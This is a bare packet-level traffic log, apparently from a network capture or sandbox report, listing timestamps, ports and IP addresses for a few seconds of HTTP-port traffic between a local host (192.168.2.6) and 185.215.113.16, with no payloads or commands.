Oct 24, 2024 04:57:33.954938889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.955059052 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.996191025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.996213913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.996238947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.996253014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.996265888 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.996268988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.996284962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.996290922 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.996301889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.996316910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.996325970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.996356010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.074281931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.074311972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.074364901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.115430117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.115443945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.115487099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.115511894 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.115531921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.115550041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.115565062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.115576029 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.115612030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.115890026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.115945101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.115987062 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.115993023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.116053104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.116067886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.116081953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.116094112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.116121054 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.236305952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.236324072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.236346006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.236361980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.236377001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.236388922 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.236392021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.236408949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.236424923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.236433983 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.236440897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.236457109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.236469030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.236470938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.236480951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.236495018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.236517906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.283368111 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.354413986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.354494095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.354548931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.354548931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.354588032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.354623079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.354635954 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.354659081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.354703903 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.354712963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.354748011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.354790926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.354800940 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.354831934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.354863882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.354873896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.408365965 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.505960941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.506012917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.506031036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.506053925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.506073952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.506089926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.506097078 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.506107092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.506123066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.506135941 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.506187916 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.506428957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.506529093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.506544113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.506560087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.506568909 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.506576061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.506592989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.506598949 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.506608963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.506624937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.506628990 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.506661892 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.592936039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.592977047 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.593050003 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.593861103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.593915939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.593946934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.593961000 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.594001055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.594034910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.594042063 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.594070911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.594111919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.594355106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.594384909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.594424009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.625349045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.625400066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.625605106 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.713231087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.713268042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.713303089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.713321924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.713355064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.713390112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.713402987 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.713427067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.713459969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.713466883 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.713500977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.713541031 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.744621992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.744676113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.744709969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.744743109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.744805098 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.744851112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.832490921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.832530975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.832582951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.832591057 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.832617044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.832653999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.832664967 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.832686901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.832721949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.832736969 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.832983971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.833012104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.833045006 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.864422083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.864456892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.864475012 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.864490986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.864526033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.864533901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.908366919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.951766968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.951805115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.951839924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.951858997 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.951898098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.951931000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.951945066 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.951965094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.952009916 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.952052116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.952085018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.952119112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.952130079 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:34.983134031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.983167887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.983202934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:34.983326912 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.030047894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.030087948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.030102968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.030169964 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.071129084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.071145058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.071177959 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.071214914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.071232080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.071254969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.071269035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.071273088 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.071285963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.071293116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.071301937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.071330070 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.102385998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.102411032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.102427006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.102431059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.102484941 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.149238110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.149300098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.149422884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.149437904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.149437904 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.149475098 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.190299034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.190354109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.190383911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.190416098 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.190435886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.190471888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.190475941 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.190507889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.190542936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.190546989 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.190732956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.190767050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.190777063 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.190803051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.190841913 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.221710920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.221740961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.221806049 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.268698931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.268731117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.268765926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.268800020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.268807888 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.268843889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.309662104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.309678078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.309693098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.309735060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.309737921 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.309751034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.309766054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.309797049 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.309812069 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.310080051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.310103893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.310118914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.310144901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.310312986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.310337067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.310352087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.310352087 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.310388088 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.388644934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.388660908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.388674974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.388689041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.388792038 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.388839960 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.428919077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.428936005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.428951025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.428994894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.429012060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.429025888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.429050922 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.429111004 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.429299116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.429311991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.429364920 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.429406881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.429466963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.429482937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.429498911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.429507017 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.429537058 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.429822922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.429836035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.429876089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.507133961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.507167101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.507180929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.507195950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.507256985 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.507291079 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.548213005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.548243999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.548258066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.548302889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.548330069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.548346996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.548363924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.548369884 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.548379898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.548398972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.548403025 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.548434973 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.548924923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.548938990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.548979044 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.549066067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.549082994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.549098969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.549119949 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.595853090 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.626487017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.626527071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.626584053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.626600027 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.626614094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.626653910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.667566061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.667608976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.667645931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.667665005 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.667682886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.667716980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.667722940 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.667752981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.667787075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.667793036 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.668073893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.668104887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.668118000 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.668311119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.668345928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.668359995 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.668380976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.668416977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.668423891 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.720870018 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.745682001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.745699883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.745723009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.745737076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.745796919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.745826960 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.786767960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.786802053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.786864042 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.940062046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.940082073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.940095901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.940105915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.940116882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.940128088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.940128088 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.940140009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.940149069 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:35.940152884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:35.940181017 CEST	49774	80	192.168.2.6	185.215.113.16
